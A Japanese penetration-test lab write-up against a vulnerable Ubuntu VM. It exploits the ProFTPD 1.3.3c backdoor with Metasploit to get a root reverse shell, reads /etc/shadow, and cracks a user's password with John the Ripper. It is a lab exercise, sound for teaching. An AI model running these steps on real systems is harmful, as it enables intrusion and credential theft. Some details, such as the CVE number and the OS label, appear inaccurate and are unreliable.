
脆弱なUbuntu VM上でのペネトレーションテストのウォークスルー。ProFTPD 1.3.3cバックドア(CVE-2010-4221)を悪用してrootアクセスを取得し、フラグを獲得。Nmapによる列挙、Metasploitによるペイロード設定、ユーザーハッシュクラッキング(John the Ripper)を含む。
攻撃的セキュリティラボ : ProFTPD 1.3.3c バックドアエクスプロイト (Root フラグ)
本レポートは、脆弱な Linux 仮想マシン (VM) に対して実施したペネトレーションテストの詳細を記述し、即座に root アクセスを可能にした高リスクのサービス脆弱性の特定に焦点を当てています。
| 詳細 | 値 |
|---|---|
| ターゲットIPアドレス | [ 192.168.222.130] |
| 攻撃元IPアドレス (LHOST) | [ 192.168.222.128] |
| ターゲットOS | Ubuntu 4ubuntu2.2 (Linux Kernel 3.x) |
| 目的 | Root レベルのシェルを取得し、フラグファイルを取得する。 |
初期偵察では、Nmap を使用したサービススキャンにより、オープンポートとサービスバージョンを特定しました。
コマンド:
sudo nmap -sS -sV 192.168.222.130
主な発見:
| ポート | サービス | バージョン | リスク | | :--- | :--- | :--- | :---
| 21/tcp | ftp | ProFTPD 1.3.3c | 重大 (エクスプロイト可能なバックドア) |
| 22/tcp | ssh | OpenSSH 7.2p2 | 低 (標準サービス) |
| 80/tcp | http | Apache httpd 2.4.18 | 低 (明らかな Web 脆弱性は見つからず) |
続いて実行した脆弱性スクリプトスキャンにより、FTP サービス内に極めて重大なバックドアが存在することが確認されました。
Nmap スクリプトの出力は、root ユーザーとしてのコマンド実行を明示的に示しました。
| ftp-proftpd-backdoor:
| This installation has been backdoored.
| Command: id
|_ Results: uid=0(root) gid=0(root) groups=0(root)...
3. エクスプロイトと Root シェルの取得
Metasploit Framework を使用して、確認された ProFTPD バックドアを悪用しました。
エクスプロイト手順:
- Metasploit の起動: msfconsole
- エクスプロイトモジュールの選択: use exploit/unix/ftp/proftpd_133c_backdoor
- オプションの設定:
```bash
set RHOSTS 192.168.222.130
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.222.128
結果: コマンドシェルセッションが正常に確立され、即座に root 権限 (uid=0) が付与されました。
認証情報の収集
システムのユーザーハッシュは、ポストエクスプロイト分析のために /etc/shadow から抽出されました。ユーザー marlinspike のハッシュは、John the Ripper を使用して正常にクラックされました。
使用したコマンド (攻撃元マシン):
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
クラックされた認証情報:
User: marlinspike Password: marlinspike
システムのセキュリティ態勢は、侵害された FTP サービスにより非常に脆弱です。システムを保護するために、直ちに以下の措置を講じる必要があります。